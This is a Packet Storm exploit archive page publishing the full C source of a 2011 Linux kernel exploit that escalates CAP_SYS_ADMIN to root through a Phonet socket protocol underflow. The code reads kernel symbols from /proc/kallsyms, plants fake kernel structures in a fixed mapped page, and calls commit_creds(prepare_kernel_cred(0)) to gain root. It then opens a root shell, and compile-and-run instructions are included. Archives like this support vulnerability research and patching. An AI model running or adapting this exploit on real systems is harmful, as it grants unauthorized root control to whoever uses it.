what you don't know can hurt you

Linux Kernel CAP_SYS_ADMIN To Root Exploit (32/64 bit)

Linux Kernel CAP_SYS_ADMIN To Root Exploit (32/64 bit)
Posted Jan 8, 2011
Authored by Joe Sylve

This exploit takes advantage of the same underflow as the original, but takes a different approach. Instead of underflowing into userspace (which doesn't work on 64-bit systems and is a lot of work), the author uses an underflow to some static values inside of the kernel which are referenced as pointers to userspace. This method is pretty simple and seems to be reliable.

tags | exploit, kernel
MD5 | c97630ad9a32d3b225b120d9598a66b3

Linux Kernel CAP_SYS_ADMIN To Root Exploit (32/64 bit)

Change Mirror Download
/*
* Linux Kernel CAP_SYS_ADMIN to Root Exploit 2 (32 and 64-bit)
* by Joe Sylve
* @jtsylve on twitter
*
* Released: Jan 7, 2011
*
* Based on the bug found by Dan Rosenberg (@djrbliss)
* only loosly based on his exploit http://www.exploit-db.com/exploits/15916/
*
* Usage:
* gcc -w caps-to-root2.c -o caps-to-root2
* sudo setcap cap_sys_admin+ep caps-to-root2
* ./caps-to-root2
*
* Kernel Version >= 2.6.34 (untested on earlier versions)
*
* Tested on Ubuntu 10.10 64-bit and Ubuntu 10.10 32-bit
*
* This exploit takes advantage of the same underflow as the original,
* but takes a different approach. Instead of underflowing into userspace
* (which doesn't work on 64-bit systems and is a lot of work), I underflow
* to some static values inside of the kernel which are referenced as pointers
* to userspace. This method is pretty simple and seems to be reliable.
*/

#include <stdio.h>
#include <sys/socket.h>
#include <errno.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>

// Skeleton Structures of the Kernel Structures we're going to spoof
struct proto_ops_skel {
int family;
void *buffer1[8];
int (*ioctl)(void *, int, long);
void *buffer2[12];
};

struct phonet_protocol_skel {
void *ops;
void *prot;
int sock_type;
};


#ifdef __x86_64__

#define SYM_NAME "local_port_range"
#define SYM_ADDRESS 0x0000007f00000040
#define SYM_OFFSET 0x0

typedef int (* _commit_creds)(unsigned long cred);
typedef unsigned long (* _prepare_kernel_cred)(unsigned long cred);

#else //32-bit

#define SYM_NAME "pn_proto"
#define SYM_ADDRESS 0x4e4f4850
#define SYM_OFFSET 0x90

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);

#endif


_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;

int getroot(void * v, int i, long l)
{
commit_creds(prepare_kernel_cred(0));
return 0;
}

/* thanks spender... */
unsigned long get_kernel_sym(char *name)
{
FILE *f;
unsigned long addr;
char dummy;
char sname[512];
int ret;

char command[512];

sprintf(command, "grep \"%s\" /proc/kallsyms", name);

f = popen(command, "r");

while(ret != EOF) {
ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sname);

if (ret == 0) {
fscanf(f, "%s\n", sname);
continue;
}

if (!strcmp(name, sname)) {

fprintf(stdout, " [+] Resolved %s to %p\n", name, (void *)addr);
pclose(f);
return addr;
}
}

pclose(f);
return 0;
}

int main(int argc, char * argv[])
{

int sock, proto;
unsigned long proto_tab, low_kern_sym, pn_proto;
void * map;

/* Create a socket to load the module for symbol support */
printf("[*] Testing Phonet support and CAP_SYS_ADMIN...\n");
sock = socket(PF_PHONET, SOCK_DGRAM, 0);

if(sock < 0) {
if(errno == EPERM)
printf("[*] You don't have CAP_SYS_ADMIN.\n");

else
printf("[*] Failed to open Phonet socket.\n");

return -1;
}

close(sock);

/* Resolve kernel symbols */
printf("[*] Resolving kernel symbols...\n");

proto_tab = get_kernel_sym("proto_tab");
low_kern_sym = get_kernel_sym(SYM_NAME) + SYM_OFFSET;
pn_proto = get_kernel_sym("pn_proto");
commit_creds = (void *) get_kernel_sym("commit_creds");
prepare_kernel_cred = (void *) get_kernel_sym("prepare_kernel_cred");

if(!proto_tab || !commit_creds || !prepare_kernel_cred) {
printf("[*] Failed to resolve kernel symbols.\n");
return -1;
}

if (low_kern_sym >= proto_tab) {
printf("[*] %s is mapped higher than prototab. Can not underflow :-(.\n", SYM_NAME);
return -1;
}


/* Map it */
printf("[*] Preparing fake structures...\n");

const struct proto_ops_skel fake_proto_ops2 = {
.family = AF_PHONET,
.ioctl = &getroot,
};

struct phonet_protocol_skel pps = {
.ops = (void *) &fake_proto_ops2,
.prot = (void *) pn_proto,
.sock_type = SOCK_DGRAM,
};

printf("[*] Copying Structures.\n");

map = mmap((void *) SYM_ADDRESS, 0x1000,
PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);

if(map == MAP_FAILED) {
printf("[*] Failed to map landing area.\n");
perror("mmap");
return -1;
}


memcpy((void *) SYM_ADDRESS, &pps, sizeof(pps));

// Calculate Underflow
proto = -((proto_tab - low_kern_sym) / sizeof(void *));

printf("[*] Underflowing with offset %d\n", proto);

sock = socket(PF_PHONET, SOCK_DGRAM, proto);

if(sock < 0) {
printf("[*] Underflow failed :-(.\n");
return -1;
}

printf("[*] Elevating privlidges...\n");
ioctl(sock, 0, NULL);


if(getuid()) {
printf("[*] Exploit failed to get root.\n");
return -1;
}

printf("[*] This was a triumph... I'm making a note here, huge success.\n");
execl("/bin/sh", "/bin/sh", NULL);

close(sock);
munmap(map, 0x1000);

return 0;
}

Login or Register to add favorites

File Archive:

December 2021

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    18 Files
  • 2
    Dec 2nd
    11 Files
  • 3
    Dec 3rd
    23 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    0 Files
  • 6
    Dec 6th
    0 Files
  • 7
    Dec 7th
    0 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close